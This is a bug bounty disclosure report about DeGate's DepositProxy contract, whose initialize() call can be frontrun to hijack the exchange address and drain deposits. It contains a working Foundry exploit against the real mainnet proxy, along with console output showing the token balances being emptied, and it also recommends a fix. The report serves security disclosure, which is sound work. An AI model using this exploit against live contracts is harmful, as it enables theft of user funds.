All the funds from the DepositProxy contracts can be stolen by frontrunning initialize() tx of the proxy's implementation
Submitted on Nov 25th 2023 at 02:03:18 UTC by @savi0ur for Boost | DeGate
Report ID: #26110
Report type: Smart Contract
Report severity: Insight
Target: https://etherscan.io/address/0x54D7aE423Edb07282645e740C046B9373970a168#code
Impacts:
- Direct theft of funds exceeding 1,000,000 USD from the Default Deposit Contract
We can see below are the two separate transactions that are initiated after DepositProxy
contract deployment.
As can be seen on-chain, there are two separate tx : 1) for upgrading implementation
address of the proxy and 2) for initializing that implementation
contract from proxy with an exchange
address.
Due to the protocol is using proxy/implementation pattern for upgradeability support, there is always a need to have an initialize()
in implementation contract and it needs to be called in the context of proxy to initialize implementation contract.
This is the definition of initialize()
:
function initialize(
address _exchange
)
external
{
require(
exchange == address(0) && _exchange != address(0),
"INVALID_EXCHANGE"
);
owner = msg.sender;
exchange = _exchange;
}
To initialize DepositProxy's
implementation contract, there is a initialize(address _exchange)
which takes an address of exchange. However, as we can see, this initialize()
can be frontrun and attacker can initialize exchange
with an attacker controlled address.
Once attacker frontrun and set an exchange
to an attacker controlled address, he/she can bypass the check - onlyExchange
defined on withdraw()
from proxy's implementation and can steal all funds stored inside DepositProxy
.
function withdraw(
address /*from*/,
address to,
address token,
uint amount
)
external
override
payable
onlyExchange
ifNotZero(amount)
{
if (isETHInternal(token)) {
to.sendETHAndVerify(amount, gasleft());
} else {
// Try to transfer the amount requested.
// If this fails try to transfer the remaining balance in this contract.
// This is to guard against non-standard token behavior where total supply
// has changed in unexpected ways.
if (!token.safeTransfer(to, amount)){
uint amountPaid = ERC20(token).balanceOf(address(this));
require(amountPaid < amount, "UNEXPECTED");
token.safeTransferAndVerify(to, amountPaid);
}
}
}
modifier onlyExchange()
{
require(msg.sender == exchange, "UNAUTHORIZED");
_;
}
For the future upgrades, proxy contract will remain same but implementation contract will be changing. Hence, proxy will need to upgrade and initialize again with new implementation address.
Since Proxy's storage will not be changing, so the token's balances. As we can see, if such future upgrades happened with two separate tx - upgradeTo
tx and initialize
tx. Attacker can frontrun initialize
tx OR backrun upgradeTo
tx to initialize proxy's implementation with an attacker controlled address and then can easily steal all the funds that are already there in proxy contract.
All the funds from the DepositProxy contracts can be stolen by frontrunning initialize()
transaction of the proxy's implementation and transferring all the funds from proxy contract to attacker controlled address.
Difficulty to Exploit: Very Easy
I recommend to initialize proxy's implementation at the time of upgrade using only upgradeToAndCall()
instead of having two tx - 1) upgradeTo()
and then 2) initialize()
.
upgradeToAndCall(address implementation, bytes memory data)
We should upgrade and initialize proxy contract by passing implementation
address and data
as abi.encodeWithSignature("initialize(address)", exchange_address)
to upgradeToAndCall()
.
DepositProxy : https://etherscan.io/address/0x54D7aE423Edb07282645e740C046B9373970a168 DepositProxy Implementation : https://etherscan.io/address/0x8ccc06c4c3b2b06616eee1b62f558f5b9c08f973 UpgradeTo tx - https://etherscan.io/tx/0xb1e5bc43a9a516618be17e0075ca12b7420b5daa42e377af2906a2c8d9619bdc Initialize tx - https://etherscan.io/tx/0xd263c3c19fedb4a8765b8facd6bce1d1609b940d415d460351b590edba371970
NOTE:
- For simplicity of POC, i am doing a prank on
proxy owner
for upgradeTo transaction.
Steps to Run using Foundry:
- Install Foundry (https://book.getfoundry.sh/getting-started/installation)
- Open terminal and run
forge init poc
andcd poc
- Download implementation contract source using command
cast etherscan-source -d src --etherscan-api-key $ETHERSCAN_API_KEY 0x8CCc06C4C3B2b06616EeE1B62F558f5b9C08f973
- Modify
initialize()
fromDefaultDepositContract.sol
for showing an upgrade as new implementation as shown below (removed checkexchange == address(0)
as exchange was set in previousinitialize()
, so it cant be zero anymore).
function initialize(
address _exchange
)
external
{
require(
_exchange != address(0),
"INVALID_EXCHANGE"
);
owner = msg.sender;
exchange = _exchange;
}
- Paste following foundry code in TestPoC.t.sol
- Run using
forge test -vv
// SPDX-License-Identifier: MIT
pragma solidity >=0.7.0 <0.9.0;
pragma abicoder v2;
import "forge-std/Test.sol";
import {IERC20} from "forge-std/interfaces/IERC20.sol";
import "../src/DefaultDepositContract/contracts/core/impl/DefaultDepositContract.sol";
interface IDepositProxy {
function proxyOwner() external view returns (address owner);
function upgradeTo(address implementation) external;
function upgradeToAndCall(address implementation, bytes memory data) external payable;
function exchange() external view returns (address);
function initialize(address _exchange) external;
function owner() external view returns (address);
function pendingOwner() external view returns (address);
function withdraw(address, address to, address token, uint256 amount) external payable;
receive() external payable;
}
contract HelperContract {
fallback() external payable {}
}
contract TestPOC is Test {
IDepositProxy deposit_proxy = IDepositProxy(payable(0x54D7aE423Edb07282645e740C046B9373970a168));
function setUp() public {
vm.createSelectFork("https://rpc.ankr.com/eth");
}
function testFrontrunInitializeStealAllFundsPOC() public {
console.log("\nNOTE: For simplicity of POC, we are pranking `proxy owner` for upgradeTo tx");
address proxy_owner = deposit_proxy.proxyOwner();
DefaultDepositContract new_impl = new DefaultDepositContract();
console.log("New implementation deployed at: %s", address(new_impl));
console.log("Proxy owner is upgrading proxy implementation to new implementation: %s", address(new_impl));
vm.prank(proxy_owner);
deposit_proxy.upgradeTo(address(new_impl));
address attacker = makeAddr("Attacker");
console.log("Address of attacker: %s", attacker);
HelperContract attacker_controlled_contract = new HelperContract();
console.log("Attacker controlled contract is deployed at : %s", address(attacker_controlled_contract));
console.log("Attacker can backrun/frontrun upgradeTo/initialize tx respectively. Here, its backrunning upgradeTo tx");
vm.prank(attacker);
deposit_proxy.initialize(attacker);
address exchange = deposit_proxy.exchange();
console.log("Exchange is initialized to : %s", exchange);
assert(exchange == attacker);
console.log("Attacker can steal all the funds from proxy");
address[] memory tokensToSteal = new address[](5);
tokensToSteal[0] = address(0); //ETH
tokensToSteal[1] = 0x59D9356E565Ab3A36dD77763Fc0d87fEaf85508C; //USDM
tokensToSteal[2] = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48; //USDC
tokensToSteal[3] = 0x53C8395465A84955c95159814461466053DedEDE; //DG
tokensToSteal[4] = 0xdAC17F958D2ee523a2206206994597C13D831ec7; //USDT
console.log("");
console.log("Balance of proxy, before attack:");
for(uint i; i < tokensToSteal.length; i++) {
string memory symbol = tokensToSteal[i] != address(0) ? IERC20(tokensToSteal[i]).symbol() : "ETH";
uint balance = tokensToSteal[i] != address(0) ? IERC20(tokensToSteal[i]).balanceOf(address(deposit_proxy)) : address(deposit_proxy).balance;
console.log("%s (%s): %d", tokensToSteal[i], symbol, balance);
}
vm.startPrank(attacker);
for(uint i; i < tokensToSteal.length; i++) {
uint amount;
if (tokensToSteal[i] == address(0)) {
amount = address(deposit_proxy).balance;
} else {
amount = IERC20(tokensToSteal[i]).balanceOf(address(deposit_proxy));
}
deposit_proxy.withdraw(address(0), address(attacker_controlled_contract), tokensToSteal[i], amount);
if (tokensToSteal[i] == address(0)) {
amount = address(deposit_proxy).balance;
} else {
amount = IERC20(tokensToSteal[i]).balanceOf(address(deposit_proxy));
}
}
vm.stopPrank();
console.log("");
console.log("Balance of proxy, after attack:");
for(uint i; i < tokensToSteal.length; i++) {
string memory symbol = tokensToSteal[i] != address(0) ? IERC20(tokensToSteal[i]).symbol() : "ETH";
uint balance = tokensToSteal[i] != address(0) ? IERC20(tokensToSteal[i]).balanceOf(address(deposit_proxy)) : address(deposit_proxy).balance;
console.log("%s (%s): %d", tokensToSteal[i], symbol, balance);
}
}
}
Console Output:
Logs:
NOTE: For simplicity of POC, we are pranking `proxy owner` for upgradeTo tx
New implementation deployed at: 0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f
Proxy owner is upgrading proxy implementation to new implementation: 0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f
Address of attacker: 0xD022658Fd5608078a8c0E5464066B1803a2806F4
Attacker controlled contract is deployed at : 0x2e234DAe75C793f67A35089C9d99245E1C58470b
Attacker can backrun/frontrun upgradeTo/initialize tx respectively. Here, its backrunning upgradeTo tx
Exchange is initialized to : 0xD022658Fd5608078a8c0E5464066B1803a2806F4
Attacker can steal all the funds from proxy
Balance of proxy, before attack:
0x0000000000000000000000000000000000000000 (ETH): 335512531059683421416
0x59D9356E565Ab3A36dD77763Fc0d87fEaf85508C (USDM): 1189366766477136447755153
0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48 (USDC): 1144659513586
0x53C8395465A84955c95159814461466053DedEDE (DG): 7182533387141239290607714
0xdAC17F958D2ee523a2206206994597C13D831ec7 (USDT): 300470896446
Balance of proxy, after attack:
0x0000000000000000000000000000000000000000 (ETH): 0
0x59D9356E565Ab3A36dD77763Fc0d87fEaf85508C (USDM): 1
0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48 (USDC): 0
0x53C8395465A84955c95159814461466053DedEDE (DG): 0
0xdAC17F958D2ee523a2206206994597C13D831ec7 (USDT): 0